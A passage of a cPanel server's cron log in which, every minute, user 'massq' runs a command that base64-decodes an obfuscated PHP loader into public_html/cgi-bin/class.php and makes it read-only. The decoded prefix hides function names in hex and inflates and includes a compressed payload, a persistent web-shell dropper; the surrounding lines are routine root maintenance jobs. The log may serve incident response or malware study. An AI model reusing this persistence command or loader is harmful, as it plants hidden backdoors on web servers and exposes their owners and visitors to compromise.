5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:43:01 server CROND[3633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:43:01 server CROND[3634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:43:01 server CROND[3636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:44:01 server CROND[4024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:44:01 server CROND[4025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:44:01 server CROND[4026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:45:01 server CROND[4427]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:45:01 server CROND[4429]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:45:01 server CROND[4430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:45:01 server CROND[4431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:45:01 server CROND[4432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:45:01 server CROND[4433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:45:01 server CROND[4436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:46:01 server CROND[5373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:46:01 server CROND[5374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:46:01 server CROND[5375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:47:01 server CROND[5763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:47:01 server CROND[5765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:47:01 server CROND[5764]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  3 02:47:01 server CROND[5767]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  3 02:47:01 server CROND[5769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:48:01 server CROND[7085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:48:01 server CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:48:01 server CROND[7083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:48:06 server crontab[7346]: (root) LIST (root)
Sep  3 02:48:06 server crontab[7348]: (root) LIST (root)
Sep  3 02:48:11 server crontab[7470]: (root) LIST (root)
Sep  3 02:49:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  3 02:49:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  3 02:49:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  3 02:49:01 server CROND[8448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:49:01 server CROND[8449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:49:01 server CROND[8450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:50:01 server CROND[9107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:50:01 server CROND[9110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:50:01 server CROND[9109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:50:01 server CROND[9114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:50:01 server CROND[9111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:50:01 server CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:50:01 server CROND[9112]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:50:01 server CROND[9115]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:50:01 server CROND[9113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:51:01 server CROND[9965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:51:01 server CROND[9966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:51:01 server CROND[9967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:52:01 server CROND[10368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:52:01 server CROND[10369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:52:01 server CROND[10370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:53:01 server CROND[10832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:53:01 server CROND[10833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:53:01 server CROND[10834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:54:01 server CROND[11272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:54:01 server CROND[11271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:54:01 server CROND[11273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUy